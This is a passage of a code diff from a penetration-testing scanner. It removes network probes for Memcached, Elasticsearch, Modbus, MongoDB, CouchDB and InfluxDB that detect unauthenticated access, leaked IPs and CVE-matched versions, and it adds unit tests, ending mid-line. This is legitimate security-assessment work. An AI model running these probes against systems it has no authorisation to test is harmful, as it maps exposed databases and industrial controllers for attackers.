check_cves("postgresql", ver_match.group(1)) - break - pos = msg_end - if pos >= len(data): - break - return findings - - def _service_info_memcached(self, target, port): # default port: 11211 - """ - Issue Memcached stats command to detect unauthenticated access. - - Parameters - ---------- - target : str - Hostname or IP address. - port : int - Port being probed. - - Returns - ------- - dict - Structured findings. - """ - findings = [] - raw = {"banner": None} - try: - sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - sock.settimeout(2) - sock.connect((target, port)) - - # Extract version - sock.sendall(b'version\r\n') - ver_data = sock.recv(64).decode("utf-8", errors="replace").strip() - ver_match = _re.match(r'VERSION\s+(\d+(?:\.\d+)+)', ver_data) - if ver_match: - raw["version"] = ver_match.group(1) - findings.append(Finding( - severity=Severity.LOW, - title=f"Memcached version disclosed: {raw['version']}", - description=f"Memcached on {target}:{port} reveals version via VERSION command.", - evidence=f"VERSION {raw['version']}", - remediation="Restrict access to memcached to trusted networks.", - cwe_id="CWE-200", - confidence="certain", - )) - findings += check_cves("memcached", raw["version"]) - - sock.sendall(b'stats\r\n') - data = sock.recv(128) - if data.startswith(b'STAT'): - raw["banner"] = data.decode("utf-8", errors="replace").strip()[:120] - findings.append(Finding( - severity=Severity.HIGH, - title="Memcached stats accessible without authentication", - description=f"Memcached on {target}:{port} responds to stats without authentication, " - "exposing cache metadata and enabling cache poisoning or data exfiltration.", - evidence=f"stats command returned: {raw['banner'][:80]}", - remediation="Bind Memcached to localhost or use SASL authentication; restrict network access.", - owasp_id="A07:2021", - cwe_id="CWE-287", - confidence="certain", - )) - else: - raw["banner"] = "Memcached port open" - findings.append(Finding( - severity=Severity.INFO, - title="Memcached port open", - description=f"Memcached port {port} is open on {target} but stats command was not accepted.", - evidence=f"Response: {data[:60].decode('utf-8', errors='replace')}", - confidence="firm", - )) - sock.close() - except Exception as e: - return probe_error(target, port, "Memcached", e) - return probe_result(raw_data=raw, findings=findings) - - - def _service_info_elasticsearch(self, target, port): # default port: 9200 - """ - Deep Elasticsearch probe: cluster info, index listing, node IPs, CVE matching. - - Parameters - ---------- - target : str - Hostname or IP address. - port : int - Port being probed. - - Returns - ------- - dict - Structured findings. - """ - findings, raw = [], {"cluster_name": None, "version": None} - base_url = f"http://{target}" if port == 80 else f"http://{target}:{port}" - - # First check if this is actually Elasticsearch (GET / must return JSON with cluster_name or tagline) - findings += self._es_check_root(base_url, raw) - if not raw["cluster_name"] and not raw.get("tagline"): - # Not Elasticsearch — skip further probing to avoid noise on regular HTTP ports - return None - - findings += self._es_check_indices(base_url, raw) - findings += self._es_check_nodes(base_url, raw) - - if raw["version"]: - findings += check_cves("elasticsearch", raw["version"]) - - if not findings: - findings.append(Finding(Severity.INFO, "Elasticsearch probe clean", "No issues detected.")) - - return probe_result(raw_data=raw, findings=findings) - - def _es_check_root(self, base_url, raw): - """GET / — extract version, cluster name.""" - findings = [] - try: - resp = requests.get(base_url, timeout=3) - if resp.ok: - try: - data = resp.json() - raw["cluster_name"] = data.get("cluster_name") - ver_info = data.get("version", {}) - raw["version"] = ver_info.get("number") if isinstance(ver_info, dict) else None - raw["tagline"] = data.get("tagline") - findings.append(Finding( - severity=Severity.HIGH, - title=f"Elasticsearch cluster metadata exposed", - description=f"Cluster '{raw['cluster_name']}' version {raw['version']} accessible without auth.", - evidence=f"cluster={raw['cluster_name']}, version={raw['version']}", - remediation="Enable X-Pack security or restrict network access.", - owasp_id="A01:2021", - cwe_id="CWE-284", - confidence="certain", - )) - except Exception: - if 'cluster_name' in resp.text: - findings.append(Finding( - severity=Severity.HIGH, - title="Elasticsearch cluster metadata exposed", - description=f"Cluster metadata accessible at {base_url}.", - evidence=resp.text[:200], - remediation="Enable authentication.", - owasp_id="A01:2021", - cwe_id="CWE-284", - confidence="firm", - )) - except Exception: - pass - return findings - - def _es_check_indices(self, base_url, raw): - """GET /_cat/indices — list accessible indices.""" - findings = [] - try: - resp = requests.get(f"{base_url}/_cat/indices?v", timeout=3) - if resp.ok and resp.text.strip(): - lines = resp.text.strip().split("\n") - index_count = max(0, len(lines) - 1) # subtract header - raw["index_count"] = index_count - if index_count > 0: - findings.append(Finding( - severity=Severity.HIGH, - title=f"Elasticsearch {index_count} indices accessible", - description=f"{index_count} indices listed without authentication.", - evidence="\n".join(lines[:6]), - remediation="Enable authentication and restrict index access.", - owasp_id="A01:2021", - cwe_id="CWE-284", - confidence="certain", - )) - except Exception: - pass - return findings - - def _es_check_nodes(self, base_url, raw): - """GET /_nodes — extract transport/publish addresses, classify IPs, check JVM.""" - findings = [] - try: - resp = requests.get(f"{base_url}/_nodes", timeout=3) - if resp.ok: - data = resp.json() - nodes = data.get("nodes", {}) - ips = set() - for node in nodes.values(): - for key in ("transport_address", "publish_address", "host"): - val = node.get(key) or "" - ip = val.rsplit(":", 1)[0] if ":" in val else val - if ip and ip not in ("127.0.0.1", "localhost", "0.0.0.0"): - ips.add(ip) - settings = node.get("settings", {}) - if isinstance(settings, dict): - net = settings.get("network", {}) - if isinstance(net, dict): - for k in ("host", "publish_host"): - v = net.get(k) - if v and v not in ("127.0.0.1", "localhost", "0.0.0.0"): - ips.add(v) - - if ips: - import ipaddress as _ipaddress - raw["node_ips"] = list(ips) - public_ips, private_ips = [], [] - for ip_str in ips: - try: - is_priv = _ipaddress.ip_address(ip_str).is_private - except (ValueError, TypeError): - is_priv = True # assume private on parse failure - if is_priv: - private_ips.append(ip_str) - else: - public_ips.append(ip_str) - self._emit_metadata("internal_ips", {"ip": ip_str, "source": "es_nodes"}) - - if public_ips: - findings.append(Finding( - severity=Severity.CRITICAL, - title=f"Elasticsearch leaks real public IP: {', '.join(sorted(public_ips)[:3])}", - description="The _nodes endpoint exposes public IP addresses, potentially revealing " - "the real infrastructure behind NAT/VPN/honeypot.", - evidence=f"Public IPs: {', '.join(sorted(public_ips))}", - remediation="Restrict /_nodes endpoint; configure network.publish_host to a safe value.", - owasp_id="A01:2021", - cwe_id="CWE-200", - confidence="certain", - )) - if private_ips: - findings.append(Finding( - severity=Severity.MEDIUM, - title=f"Elasticsearch node internal IPs disclosed ({len(private_ips)})", - description=f"Node API exposes internal IPs: {', '.join(sorted(private_ips)[:5])}", - evidence=f"IPs: {', '.join(sorted(private_ips)[:10])}", - remediation="Restrict /_nodes endpoint access.", - owasp_id="A01:2021", - cwe_id="CWE-200", - confidence="certain", - )) - - # --- JVM version extraction --- - for node in nodes.values(): - jvm = node.get("jvm", {}) - if isinstance(jvm, dict): - jvm_version = jvm.get("version") - if jvm_version: - raw["jvm_version"] = jvm_version - try: - if jvm_version.startswith("1."): - # Java 1.x format: 1.7.0_55 → major=7, 1.8.0_345 → major=8 - major = int(jvm_version.split(".")[1]) - else: - # Modern format: 17.0.5 → major=17 - major = int(str(jvm_version).split(".")[0]) - if major <= 8: - findings.append(Finding( - severity=Severity.MEDIUM, - title=f"Elasticsearch running on EOL JVM: Java {jvm_version}", - description=f"Java {jvm_version} is end-of-life and no longer receives security patches.", - evidence=f"jvm.version={jvm_version}", - remediation="Upgrade to a supported Java LTS release (17+).", - owasp_id="A06:2021", - cwe_id="CWE-1104", - confidence="certain", - )) - except (ValueError, IndexError): - pass - break # one node is enough - except Exception: - pass - return findings - - - def _service_info_modbus(self, target, port): # default port: 502 - """ - Send Modbus device identification request to detect exposed PLCs. - - Parameters - ---------- - target : str - Hostname or IP address. - port : int - Port being probed. - - Returns - ------- - dict - Structured findings. - """ - findings = [] - raw = {"banner": None} - try: - sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - sock.settimeout(3) - sock.connect((target, port)) - request = b'\x00\x01\x00\x00\x00\x06\x01\x2b\x0e\x01\x00' - sock.sendall(request) - data = sock.recv(256) - if data: - readable = ''.join(chr(b) if 32 <= b < 127 else '.' for b in data) - raw["banner"] = readable.strip()[:120] - findings.append(Finding( - severity=Severity.CRITICAL, - title="Modbus device responded to identification request", - description=f"Industrial control system on {target}:{port} is accessible without authentication. " - "Modbus has no built-in security — any network access means full device control.", - evidence=f"Device ID response: {readable.strip()[:80]}", - remediation="Isolate Modbus devices on a dedicated OT network; deploy a Modbus-aware firewall.", - owasp_id="A01:2021", - cwe_id="CWE-284", - confidence="certain", - )) - sock.close() - except Exception as e: - return probe_error(target, port, "Modbus", e) - return probe_result(raw_data=raw, findings=findings) - - - def _service_info_mongodb(self, target, port): # default port: 27017 - """ - Attempt MongoDB isMaster + buildInfo to detect unauthenticated access - and extract the server version for CVE matching. - """ - findings = [] - raw = {"banner": None, "version": None} - try: - # --- Pass 1: isMaster --- - is_master = False - data = self._mongodb_query(target, port, b'isMaster') - if data and (b'ismaster' in data or b'isMaster' in data): - is_master = True - - if is_master: - raw["banner"] = "MongoDB isMaster response" - findings.append(Finding( - severity=Severity.CRITICAL, - title="MongoDB unauthenticated access (isMaster responded)", - description=f"MongoDB on {target}:{port} accepts commands without authentication, " - "allowing full database read/write access.", - evidence="isMaster command succeeded without credentials.", - remediation="Enable MongoDB authentication (--auth) and bind to localhost or trusted networks.", - owasp_id="A07:2021", - cwe_id="CWE-287", - confidence="certain", - )) - - # --- Pass 2: buildInfo (for version) --- - build_data = self._mongodb_query(target, port, b'buildInfo') - mongo_version = self._mongodb_extract_bson_string(build_data, b'version') - if mongo_version: - raw["version"] = mongo_version - findings.append(Finding( - severity=Severity.LOW, - title=f"MongoDB version disclosed: {mongo_version}", - description=f"MongoDB on {target}:{port} reports version {mongo_version}.", - evidence=f"buildInfo version: {mongo_version}", - remediation="Restrict network access to the MongoDB port.", - cwe_id="CWE-200", - confidence="certain", - )) - ver_match = _re.match(r'(\d+\.\d+(?:\.\d+)?)', mongo_version) - if ver_match: - for f in check_cves("mongodb", ver_match.group(1)): - findings.append(f) - - except Exception as e: - return probe_error(target, port, "MongoDB", e) - return probe_result(raw_data=raw, findings=findings) - - @staticmethod - def _mongodb_query(target, port, command_name): - """Send a MongoDB OP_QUERY command and return the raw response bytes.""" - sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - sock.settimeout(3) - sock.connect((target, port)) - # Build BSON: {: 1} - field = b'\x10' + command_name + b'\x00' + struct.pack(' len(data): - return None - str_len = struct.unpack(' len(data): - return None - return data[str_start+4:str_start+4+str_len-1].decode('utf-8', errors='ignore') - - - - # ── CouchDB ────────────────────────────────────────────────────── - - def _service_info_couchdb(self, target, port): # default port: 5984 - """ - Probe Apache CouchDB HTTP API for unauthenticated access, admin panel, - database listing, and version-based CVE matching. - """ - findings, raw = [], {"version": None} - base_url = f"http://{target}:{port}" - - # 1. Root endpoint — identifies CouchDB and extracts version - try: - resp = requests.get(base_url, timeout=3) - if not resp.ok: - return None - data = resp.json() - if "couchdb" not in str(data).lower(): - return None # Not CouchDB - raw["version"] = data.get("version") - raw["vendor"] = data.get("vendor", {}).get("name") if isinstance(data.get("vendor"), dict) else None - except Exception: - return None - - if raw["version"]: - findings.append(Finding( - severity=Severity.LOW, - title=f"CouchDB version disclosed: {raw['version']}", - description=f"CouchDB on {target}:{port} reports version {raw['version']}.", - evidence=f"GET / → version={raw['version']}", - remediation="Restrict network access to the CouchDB port.", - cwe_id="CWE-200", - confidence="certain", - )) - ver_match = _re.match(r'(\d+\.\d+(?:\.\d+)?)', raw["version"]) - if ver_match: - findings += check_cves("couchdb", ver_match.group(1)) - - # 2. Database listing — unauthenticated access to /_all_dbs - try: - resp = requests.get(f"{base_url}/_all_dbs", timeout=3) - if resp.ok: - dbs = resp.json() - if isinstance(dbs, list): - raw["databases"] = dbs - user_dbs = [d for d in dbs if not d.startswith("_")] - findings.append(Finding( - severity=Severity.CRITICAL if user_dbs else Severity.HIGH, - title=f"CouchDB unauthenticated database listing ({len(dbs)} databases)", - description=f"/_all_dbs accessible without credentials. " - f"{'User databases exposed: ' + ', '.join(user_dbs[:5]) if user_dbs else 'Only system databases found.'}", - evidence=f"Databases: {', '.join(dbs[:10])}" + (f"... (+{len(dbs)-10} more)" if len(dbs) > 10 else ""), - remediation="Enable CouchDB authentication via [admins] section in local.ini.", - owasp_id="A01:2021", - cwe_id="CWE-284", - confidence="certain", - )) - except Exception: - pass - - # 3. Admin panel (Fauxton) accessibility - try: - resp = requests.get(f"{base_url}/_utils/", timeout=3, allow_redirects=True) - if resp.ok and ("fauxton" in resp.text.lower() or "couchdb" in resp.text.lower()): - findings.append(Finding( - severity=Severity.HIGH, - title="CouchDB admin panel (Fauxton) accessible", - description=f"/_utils/ on {target}:{port} serves the admin web interface.", - evidence=f"GET /_utils/ returned {resp.status_code}, content-length={len(resp.text)}", - remediation="Restrict access to /_utils via reverse proxy or bind to localhost.", - owasp_id="A01:2021", - cwe_id="CWE-284", - confidence="certain", - )) - except Exception: - pass - - # 4. Config endpoint — critical if accessible - try: - resp = requests.get(f"{base_url}/_node/_local/_config", timeout=3) - if resp.ok and resp.text.startswith("{"): - findings.append(Finding( - severity=Severity.CRITICAL, - title="CouchDB configuration exposed without authentication", - description="/_node/_local/_config returns full server configuration including credentials.", - evidence=f"GET /_node/_local/_config returned {resp.status_code}", - remediation="Enable admin authentication immediately.", - owasp_id="A01:2021", - cwe_id="CWE-284", - confidence="certain", - )) - except Exception: - pass - - if not findings: - findings.append(Finding(Severity.INFO, "CouchDB probe clean", "No issues detected.")) - return probe_result(raw_data=raw, findings=findings) - - # ── InfluxDB ──────────────────────────────────────────────────── - - def _service_info_influxdb(self, target, port): # default port: 8086 - """ - Probe InfluxDB HTTP API for version disclosure, unauthenticated access, - and database listing. - """ - findings, raw = [], {"version": None} - base_url = f"http://{target}:{port}" - - # 1. Ping — extract version from X-Influxdb-Version header - try: - resp = requests.get(f"{base_url}/ping", timeout=3) - version = resp.headers.get("X-Influxdb-Version") - if not version: - return None # Not InfluxDB - raw["version"] = version - findings.append(Finding( - severity=Severity.LOW, - title=f"InfluxDB version disclosed: {version}", - description=f"InfluxDB on {target}:{port} reports version {version}.", - evidence=f"X-Influxdb-Version: {version}", - remediation="Restrict network access to the InfluxDB port.", - cwe_id="CWE-200", - confidence="certain", - )) - ver_match = _re.match(r'(\d+\.\d+(?:\.\d+)?)', version) - if ver_match: - findings += check_cves("influxdb", ver_match.group(1)) - except Exception: - return None - - # 2. Unauthenticated database listing - try: - resp = requests.get(f"{base_url}/query", params={"q": "SHOW DATABASES"}, timeout=3) - if resp.ok: - data = resp.json() - results = data.get("results", []) - if results and not results[0].get("error"): - series = results[0].get("series", []) - db_names = [] - for s in series: - for row in s.get("values", []): - if row: - db_names.append(row[0]) - raw["databases"] = db_names - user_dbs = [d for d in db_names if d not in ("_internal",)] - findings.append(Finding( - severity=Severity.CRITICAL if user_dbs else Severity.HIGH, - title=f"InfluxDB unauthenticated access ({len(db_names)} databases)", - description=f"SHOW DATABASES succeeded without credentials. " - f"{'User databases: ' + ', '.join(user_dbs[:5]) if user_dbs else 'Only internal databases found.'}", - evidence=f"Databases: {', '.join(db_names[:10])}", - remediation="Enable InfluxDB authentication in the configuration ([http] auth-enabled = true).", - owasp_id="A07:2021", - cwe_id="CWE-287", - confidence="certain", - )) - elif results and results[0].get("error"): - # Auth required — good - findings.append(Finding( - severity=Severity.INFO, - title="InfluxDB authentication enforced", - description="SHOW DATABASES rejected without credentials.", - evidence=f"Error: {results[0]['error'][:80]}", - confidence="certain", - )) - except Exception: - pass - - # 3. Debug endpoint exposure - try: - resp = requests.get(f"{base_url}/debug/vars", timeout=3) - if resp.ok and "memstats" in resp.text: - findings.append(Finding( - severity=Severity.MEDIUM, - title="InfluxDB debug endpoint exposed (/debug/vars)", - description="Go runtime debug variables accessible, leaking memory stats and internal state.", - evidence=f"GET /debug/vars returned {resp.status_code}", - remediation="Disable or restrict access to debug endpoints.", - owasp_id="A05:2021", - cwe_id="CWE-200", - confidence="certain", - )) - except Exception: - pass - - if not findings: - findings.append(Finding(Severity.INFO, "InfluxDB probe clean", "No issues detected.")) - return probe_result(raw_data=raw, findings=findings) - - # Product patterns for generic banner version extraction. - # Maps regex → CVE DB product name. Each regex must have a named group 'ver'. - _GENERIC_BANNER_PATTERNS = [ - (_re.compile(r'OpenSSH[_\s](?P\d+\.\d+(?:\.\d+)?)', _re.I), "openssh"), - (_re.compile(r'Apache[/ ](?P\d+\.\d+(?:\.\d+)?)', _re.I), "apache"), - (_re.compile(r'nginx[/ ](?P\d+\.\d+(?:\.\d+)?)', _re.I), "nginx"), - (_re.compile(r'Exim\s+(?P\d+\.\d+(?:\.\d+)?)', _re.I), "exim"), - (_re.compile(r'Postfix[/ ]?(?:.*?smtpd)?\s*(?P\d+\.\d+(?:\.\d+)?)', _re.I), "postfix"), - (_re.compile(r'ProFTPD\s+(?P\d+\.\d+(?:\.\d+)?)', _re.I), "proftpd"), - (_re.compile(r'vsftpd\s+(?P\d+\.\d+(?:\.\d+)?)', _re.I), "vsftpd"), - (_re.compile(r'Redis[/ ](?:server\s+)?v?(?P\d+\.\d+(?:\.\d+)?)', _re.I), "redis"), - (_re.compile(r'Samba\s+(?P\d+\.\d+(?:\.\d+)?)', _re.I), "samba"), - (_re.compile(r'Asterisk\s+(?P\d+\.\d+(?:\.\d+)?)', _re.I), "asterisk"), - (_re.compile(r'MySQL[/ ](?P\d+\.\d+(?:\.\d+)?)', _re.I), "mysql"), - (_re.compile(r'PostgreSQL\s+(?P\d+\.\d+(?:\.\d+)?)', _re.I), "postgresql"), - (_re.compile(r'MongoDB\s+(?P\d+\.\d+(?:\.\d+)?)', _re.I), "mongodb"), - (_re.compile(r'Elasticsearch[/ ](?P\d+\.\d+(?:\.\d+)?)', _re.I), "elasticsearch"), - (_re.compile(r'memcached\s+(?P\d+\.\d+(?:\.\d+)?)', _re.I), "memcached"), - (_re.compile(r'TightVNC[/ ](?P\d+\.\d+(?:\.\d+)?)', _re.I), "tightvnc"), - ] - - def _service_info_generic(self, target, port): - """ - Attempt a generic TCP banner grab for uncovered ports. - - Performs three checks on the banner: - 1. Version disclosure — flags any product/version string as info leak. - 2. CVE matching — runs extracted versions against the CVE database. - 3. Unauthenticated data exposure — flags services that send data - without any client request (potential auth bypass). - - Parameters - ---------- - target : str - Hostname or IP address. - port : int - Port being probed. - - Returns - ------- - dict - Structured findings. - """ - findings = [] - raw = {"banner": None} - try: - sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - sock.settimeout(2) - sock.connect((target, port)) - raw_bytes = sock.recv(512) - sock.close() - if not raw_bytes: - return None - except Exception as e: - return probe_error(target, port, "generic", e) - - # --- Protocol fingerprinting: detect known services on non-standard ports --- - reclassified = self._generic_fingerprint_protocol(raw_bytes, target, port) - if reclassified is not None: - return reclassified - - # --- Standard banner analysis for truly unknown services --- - data = raw_bytes.decode('utf-8', errors='ignore') - banner = ''.join(ch if 32 <= ord(ch) < 127 else '.' for ch in data) - readable = banner.strip().replace('.', '') - if not readable: - return None - raw["banner"] = banner.strip() - banner_text = raw["banner"] - - # --- 1. Version extraction + CVE check --- - for pattern, product in self._GENERIC_BANNER_PATTERNS: - m = pattern.search(banner_text) - if m: - version = m.group("ver") - raw["product"] = product - raw["version"] = version - findings.append(Finding( - severity=Severity.LOW, - title=f"Service version disclosed: {product} {version}", - description=f"Banner on {target}:{port} reveals {product} {version}. " - "Version disclosure aids attackers in targeting known vulnerabilities.", - evidence=f"Banner: {banner_text[:80]}", - remediation="Suppress or genericize the service banner.", - cwe_id="CWE-200", - confidence="certain", - )) - findings += check_cves(product, version) - break # First match wins - - return probe_result(raw_data=raw, findings=findings) - - # Protocol signatures for reclassifying services on non-standard ports. - # Each entry: (check_function, protocol_name, probe_method_name) - # Check functions receive raw bytes and return True if matched. - @staticmethod - def _is_redis_banner(data): - """Redis RESP: starts with +, -, :, $, or * (protocol type bytes).""" - return len(data) > 0 and data[0:1] in (b'+', b'-', b'$', b'*', b':') - - @staticmethod - def _is_ftp_banner(data): - """FTP: 220 greeting.""" - return data[:4] in (b'220 ', b'220-') - - @staticmethod - def _is_smtp_banner(data): - """SMTP: 220 greeting with SMTP/ESMTP keyword.""" - text = data[:200].decode('utf-8', errors='ignore').upper() - return text.startswith('220') and ('SMTP' in text or 'ESMTP' in text) - - @staticmethod - def _is_mysql_handshake(data): - """MySQL: 3-byte length + seq + protocol version 0x0a.""" - if len(data) > 4: - payload = data[4:] - return payload[0:1] == b'\x0a' - return False - - @staticmethod - def _is_rsync_banner(data): - """Rsync: @RSYNCD: version.""" - return data.startswith(b'@RSYNCD:') - - @staticmethod - def _is_telnet_banner(data): - """Telnet: IAC (0xFF) followed by WILL/WONT/DO/DONT.""" - return len(data) >= 2 and data[0] == 0xFF and data[1] in (0xFB, 0xFC, 0xFD, 0xFE) - - _PROTOCOL_SIGNATURES = None # lazy init to avoid forward reference issues - - def _generic_fingerprint_protocol(self, raw_bytes, target, port): - """Try to identify the protocol from raw banner bytes. - - If a known protocol is detected, reclassifies the port and runs the - appropriate specialized probe directly. - - Returns - ------- - dict or None - Probe result from the specialized probe, or None if no match. - """ - signatures = [ - (self._is_redis_banner, "redis", "_service_info_redis"), - (self._is_ftp_banner, "ftp", "_service_info_ftp"), - (self._is_smtp_banner, "smtp", "_service_info_smtp"), - (self._is_mysql_handshake, "mysql", "_service_info_mysql"), - (self._is_rsync_banner, "rsync", "_service_info_rsync"), - (self._is_telnet_banner, "telnet", "_service_info_telnet"), - ] - - for check_fn, proto, method_name in signatures: - try: - if check_fn(raw_bytes): - # Reclassify port protocol for future reference - port_protocols = self.state.get("port_protocols", {}) - old_proto = port_protocols.get(port, "unknown") - port_protocols[port] = proto - self.P(f"Protocol reclassified: port {port} {old_proto} → {proto} (banner fingerprint)") - - # Run the specialized probe directly - probe_fn = getattr(self, method_name, None) - if probe_fn: - return probe_fn(target, port) - except Exception: - continue - return None diff --git a/extensions/business/cybersec/red_mesh/tests/__init__.py b/extensions/business/cybersec/red_mesh/tests/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/extensions/business/cybersec/red_mesh/tests/conftest.py b/extensions/business/cybersec/red_mesh/tests/conftest.py new file mode 100644 index 00000000..0cdfca42 --- /dev/null +++ b/extensions/business/cybersec/red_mesh/tests/conftest.py @@ -0,0 +1,60 @@ +import json +import sys +import struct +import unittest +from unittest.mock import MagicMock, patch + +from extensions.business.cybersec.red_mesh.worker import PentestLocalWorker + +from xperimental.utils import color_print + +MANUAL_RUN = False + + + +class DummyOwner: + def __init__(self): + self.messages = [] + + def P(self, message, **kwargs): + self.messages.append(message) + if MANUAL_RUN: + if "VULNERABILITY" in message: + color = 'r' + elif any(x in message for x in ["WARNING", "findings:"]): + color = 'y' + else: + color = 'd' + color_print(f"[DummyOwner] {message}", color=color) + return + + +def mock_plugin_modules(): + """Install mock modules so pentester_api_01 can be imported without naeural_core.""" + if 'extensions.business.cybersec.red_mesh.pentester_api_01' in sys.modules: + return # Already imported successfully + + # Build a real class to avoid metaclass conflicts + def endpoint_decorator(*args, **kwargs): + if args and callable(args[0]): + return args[0] + def wrapper(fn): + return fn + return wrapper + + class FakeBasePlugin: + CONFIG = {'VALIDATION_RULES': {}} + endpoint = staticmethod(endpoint_decorator) + + mock_module = MagicMock() + mock_module.FastApiWebAppPlugin = FakeBasePlugin + + modules_to_mock = { + 'naeural_core': MagicMock(), + 'naeural_core.business': MagicMock(), + 'naeural_core.business.default': MagicMock(), + 'naeural_core.business.default.web_app': MagicMock(), + 'naeural_core.business.default.web_app.fast_api_web_app': mock_module, + } + for mod_name, mod in modules_to_mock.items(): + sys.modules.setdefault(mod_name, mod) diff --git a/extensions/business/cybersec/red_mesh/tests/test_api.py b/extensions/business/cybersec/red_mesh/tests/test_api.py new file mode 100644 index 00000000..abb25df5 --- /dev/null +++ b/extensions/business/cybersec/red_mesh/tests/test_api.py @@ -0,0 +1,1354 @@ +import json +import sys +import struct +import unittest +from unittest.mock import MagicMock, patch + +from .conftest import DummyOwner, MANUAL_RUN, PentestLocalWorker, color_print, mock_plugin_modules + + +class TestPhase1ConfigCID(unittest.TestCase): + """Phase 1: Job Config CID — extract static config from CStore to R1FS.""" + + def test_config_cid_roundtrip(self): + """JobConfig.from_dict(config.to_dict()) preserves all fields.""" + from extensions.business.cybersec.red_mesh.models import JobConfig + + original = JobConfig( + target="example.com", + start_port=1, + end_port=1024, + exceptions=[22, 80], + distribution_strategy="SLICE", + port_order="SHUFFLE", + nr_local_workers=4, + enabled_features=["http_headers", "sql_injection"], + excluded_features=["brute_force"], + run_mode="SINGLEPASS", + scan_min_delay=0.1, + scan_max_delay=0.5, + ics_safe_mode=True, + redact_credentials=False, + scanner_identity="test-scanner", + scanner_user_agent="RedMesh/1.0", + task_name="Test Scan", + task_description="A test scan", + monitor_interval=300, + selected_peers=["peer1", "peer2"], + created_by_name="tester", + created_by_id="user-123", + authorized=True, + ) + d = original.to_dict() + restored = JobConfig.from_dict(d) + self.assertEqual(original, restored) + + def test_config_to_dict_has_required_fields(self): + """to_dict() includes target, start_port, end_port, run_mode.""" + from extensions.business.cybersec.red_mesh.models import JobConfig + + config = JobConfig( + target="10.0.0.1", + start_port=1, + end_port=65535, + exceptions=[], + distribution_strategy="SLICE", + port_order="SEQUENTIAL", + nr_local_workers=2, + enabled_features=[], + excluded_features=[], + run_mode="CONTINUOUS_MONITORING", + ) + d = config.to_dict() + self.assertEqual(d["target"], "10.0.0.1") + self.assertEqual(d["start_port"], 1) + self.assertEqual(d["end_port"], 65535) + self.assertEqual(d["run_mode"], "CONTINUOUS_MONITORING") + + def test_config_strip_none(self): + """_strip_none removes None values from serialized config.""" + from extensions.business.cybersec.red_mesh.models import JobConfig + + config = JobConfig( + target="example.com", + start_port=1, + end_port=100, + exceptions=[], + distribution_strategy="SLICE", + port_order="SEQUENTIAL", + nr_local_workers=2, + enabled_features=[], + excluded_features=[], + run_mode="SINGLEPASS", + selected_peers=None, + ) + d = config.to_dict() + self.assertNotIn("selected_peers", d) + + @classmethod + def _mock_plugin_modules(cls): + mock_plugin_modules() + + @classmethod + def _build_mock_plugin(cls, job_id="test-job", time_val=1000000.0, r1fs_cid="QmFakeConfigCID"): + """Build a mock plugin instance for launch_test testing.""" + plugin = MagicMock() + plugin.ee_addr = "node-1" + plugin.ee_id = "node-alias-1" + plugin.cfg_instance_id = "test-instance" + plugin.cfg_port_order = "SEQUENTIAL" + plugin.cfg_excluded_features = [] + plugin.cfg_distribution_strategy = "SLICE" + plugin.cfg_run_mode = "SINGLEPASS" + plugin.cfg_monitor_interval = 60 + plugin.cfg_scanner_identity = "" + plugin.cfg_scanner_user_agent = "" + plugin.cfg_nr_local_workers = 2 + plugin.cfg_llm_agent_api_enabled = False + plugin.cfg_ics_safe_mode = False + plugin.cfg_scan_min_rnd_delay = 0 + plugin.cfg_scan_max_rnd_delay = 0 + plugin.uuid.return_value = job_id + plugin.time.return_value = time_val + plugin.json_dumps.return_value = "{}" + plugin.r1fs = MagicMock() + plugin.r1fs.add_json.return_value = r1fs_cid + plugin.chainstore_hset = MagicMock() + plugin.chainstore_hgetall.return_value = {} + plugin.chainstore_peers = ["node-1"] + plugin.cfg_chainstore_peers = ["node-1"] + return plugin + + @classmethod + def _extract_job_specs(cls, plugin, job_id): + """Extract the job_specs dict from chainstore_hset calls.""" + for call in plugin.chainstore_hset.call_args_list: + kwargs = call[1] if call[1] else {} + if kwargs.get("key") == job_id: + return kwargs["value"] + return None + + def _launch(self, plugin, **kwargs): + """Call launch_test with mocked base modules.""" + self._mock_plugin_modules() + from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin + defaults = dict(target="example.com", start_port=1, end_port=1024, exceptions="", authorized=True) + defaults.update(kwargs) + return PentesterApi01Plugin.launch_test(plugin, **defaults) + + def test_launch_builds_job_config_and_stores_cid(self): + """launch_test() builds JobConfig, saves to R1FS, stores job_config_cid in CStore.""" + plugin = self._build_mock_plugin(job_id="test-job-1", r1fs_cid="QmFakeConfigCID123") + self._launch(plugin) + + # Verify r1fs.add_json was called with a JobConfig dict + self.assertTrue(plugin.r1fs.add_json.called) + config_dict = plugin.r1fs.add_json.call_args_list[0][0][0] + self.assertEqual(config_dict["target"], "example.com") + self.assertEqual(config_dict["start_port"], 1) + self.assertEqual(config_dict["end_port"], 1024) + self.assertIn("run_mode", config_dict) + + # Verify CStore has job_config_cid + job_specs = self._extract_job_specs(plugin, "test-job-1") + self.assertIsNotNone(job_specs, "Expected chainstore_hset call for job_specs") + self.assertEqual(job_specs["job_config_cid"], "QmFakeConfigCID123") + + def test_cstore_has_no_static_config(self): + """After launch, CStore object has no exceptions, distribution_strategy, etc.""" + plugin = self._build_mock_plugin(job_id="test-job-2") + self._launch(plugin) + + job_specs = self._extract_job_specs(plugin, "test-job-2") + self.assertIsNotNone(job_specs) + + # These static config fields must NOT be in CStore + removed_fields = [ + "exceptions", "distribution_strategy", "enabled_features", + "excluded_features", "scan_min_delay", "scan_max_delay", + "ics_safe_mode", "redact_credentials", "scanner_identity", + "scanner_user_agent", "nr_local_workers", "task_description", + "monitor_interval", "selected_peers", "created_by_name", + "created_by_id", "authorized", "port_order", + ] + for field in removed_fields: + self.assertNotIn(field, job_specs, f"CStore should not contain '{field}'") + + def test_cstore_has_listing_fields(self): + """CStore has target, task_name, start_port, end_port, date_created.""" + plugin = self._build_mock_plugin(job_id="test-job-3", time_val=1700000000.0) + self._launch(plugin, start_port=80, end_port=443, task_name="Web Scan") + + job_specs = self._extract_job_specs(plugin, "test-job-3") + self.assertIsNotNone(job_specs) + + self.assertEqual(job_specs["target"], "example.com") + self.assertEqual(job_specs["task_name"], "Web Scan") + self.assertEqual(job_specs["start_port"], 80) + self.assertEqual(job_specs["end_port"], 443) + self.assertEqual(job_specs["date_created"], 1700000000.0) + self.assertEqual(job_specs["risk_score"], 0) + + def test_pass_reports_initialized_empty(self): + """CStore has pass_reports: [] (no pass_history).""" + plugin = 